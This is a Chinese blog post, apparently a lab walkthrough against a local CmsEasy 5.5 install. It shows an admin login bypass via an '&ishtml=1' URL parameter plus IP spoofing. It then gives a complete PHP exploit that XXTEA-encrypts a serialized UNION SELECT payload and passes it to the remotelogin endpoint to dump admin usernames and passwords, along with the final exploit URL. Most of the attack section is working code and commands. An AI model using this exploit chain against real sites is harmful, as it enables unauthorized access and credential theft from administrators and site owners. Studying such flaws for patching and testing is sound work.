cmseasy-sql注入

1.环境配置

网站:

数据库:

2.绕过密码直接登录

对原代码审计,在admin.php可以注意的点是

只要符合这个点,就不会去验证是不是管理员

所以

我将浏览器的网站路径复杂到Firefox界面如下,并根据代码加上&ishtml=1,看能不能直接不输入密码直接登录

回车就直接进入了网站里面了,绕过了登录界面

不过在之前需要在火狐下载一个插件

这个插件是可以修改你服务端的IP

这是第一个漏洞,未授权账号密码,因为代码写的有问题,导致我可以通过代码审计获取到非法进入后台的方式

3.sql注入

进入后台后,我拿到了Cookie安全码:5782c2394927208d8d536b9ed05b1a51

继续代码审计

在远程登录代码里

这段代码意思:拿到cookie码,将获得的grgs通过base64解码,xxtea_decrypt函数来解密,全部解密后,将参数进行反序列化(unserialize是反序列化函数),反序列化完后,放在getrow,这里getrow函数表示获取数据库一行

根据这个代码,我们考虑注入的一个条件,先是要拿到cookie,找到加密函数xxtea_encrypt

<?php

function xxtea_encrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, true);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = 0;
    while (0 < $q--) {
        $sum = int32($sum + $delta);
        $e = $sum >> 2 & 3;
        for ($p = 0; $p < $n; $p++) {
            $y = $v[$p + 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$p] = int32($v[$p] + $mx);
        }
        $y = $v[0];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $z = $v[$n] = int32($v[$n] + $mx);
    }
    return long2str($v, false);
}
function str2long($s, $w) {
    $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
    $v = array_values($v);
    if ($w) {
        $v[count($v)] = strlen($s);
    }
    return $v;
}
function long2str($v, $w) {
    $len = count($v);
    $n = ($len - 1) << 2;
    if ($w) {
        $m = $v[$len - 1];
        if (($m < $n - 3) || ($m > $n)) return false;
        $n = $m;
    }
    $s = array();
    for ($i = 0; $i < $len; $i++) {
        $s[$i] = pack("V", $v[$i]);
    }
    if ($w) {
        return substr(join('', $s), 0, $n);
    }
    else {
        return join('', $s);
    }
}
function int32($n) {
    while ($n >= 2147483648) $n -= 4294967296;
    while ($n <= -2147483649) $n += 4294967296;
    return (int)$n;
}

将加密函数和相关函数复制到php文件里

 cmseasy_user表里有20个字段

sql注入代码

<?php  
  
$key = '5782c2394927208d8d536b9ed05b1a51'; // 获得的cookie密钥  
  
// 注入语句作为数组的一个元素  
$table = array(  
    'sql' => 'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#' //由于是开源代码,可以知道数据库的源码和架构 
);  
  
// 序列化数组,然后加密,其实就是跟源码执行方式相反  
$encrypted = base64_encode(xxtea_encrypt(serialize($table), $key));  
echo $encrypted;  
function long2str($v, $w) {
    $len = count($v);
    $n = ($len - 1) << 2;
    if ($w) {
        $m = $v[$len - 1];
        if (($m < $n - 3) || ($m > $n)) return false;
        $n = $m;
    }
    $s = array();
    for ($i = 0; $i < $len; $i++) {
        $s[$i] = pack("V", $v[$i]);
    }
    if ($w) {
        return substr(join('', $s), 0, $n);
    }
    else {
        return join('', $s);
    }
}

function str2long($s, $w) {
    $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
    $v = array_values($v);
    if ($w) {
        $v[count($v)] = strlen($s);
    }
    return $v;
}

function int32($n) {
    while ($n >= 2147483648) $n -= 4294967296;
    while ($n <= -2147483649) $n += 4294967296;
    return (int)$n;
}

function xxtea_encrypt($str, $key) {
    if ($str == "") {
        return "";
    }
    $v = str2long($str, true);
    $k = str2long($key, false);
    if (count($k) < 4) {
        for ($i = count($k); $i < 4; $i++) {
            $k[$i] = 0;
        }
    }
    $n = count($v) - 1;

    $z = $v[$n];
    $y = $v[0];
    $delta = 0x9E3779B9;
    $q = floor(6 + 52 / ($n + 1));
    $sum = 0;
    while (0 < $q--) {
        $sum = int32($sum + $delta);
        $e = $sum >> 2 & 3;
        for ($p = 0; $p < $n; $p++) {
            $y = $v[$p + 1];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$p] = int32($v[$p] + $mx);
        }
        $y = $v[0];
        $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
        $z = $v[$n] = int32($v[$n] + $mx);
    }
    return long2str($v, false);
}

执行:

注意:在里面”/",“+必须要urlcode编码,不编码就会对应地方截断

改:/>-----%2f   +---->%2b

任何访问后端?

访问方式:http://127.0.0.1/CmsEasy_5.5_UTF-8_20140605/uploads/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xUKKUusexld8%2fO2638yd42xG%2b5Vx2Eumj9azpzanmLlGno4T4yiJvEmMB6aYW0FNRw4ZB8mFNr26fWwovnLsEzR9SsIP2MI4hGus8WrJE4hkSPs42xHYej%2bstJH0soK%2f59iAyNud6IarQbGxnJBNa6oiHPKC8p0kzfU8b1s6bPUa1kX2vOeZRtqyrqTaban%2fwHE1ZLhYLzCsSvcHlNgCCnJBIL0=

这个要根据自己的地址写

这里已经可以拿到网站的密码和账号了

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值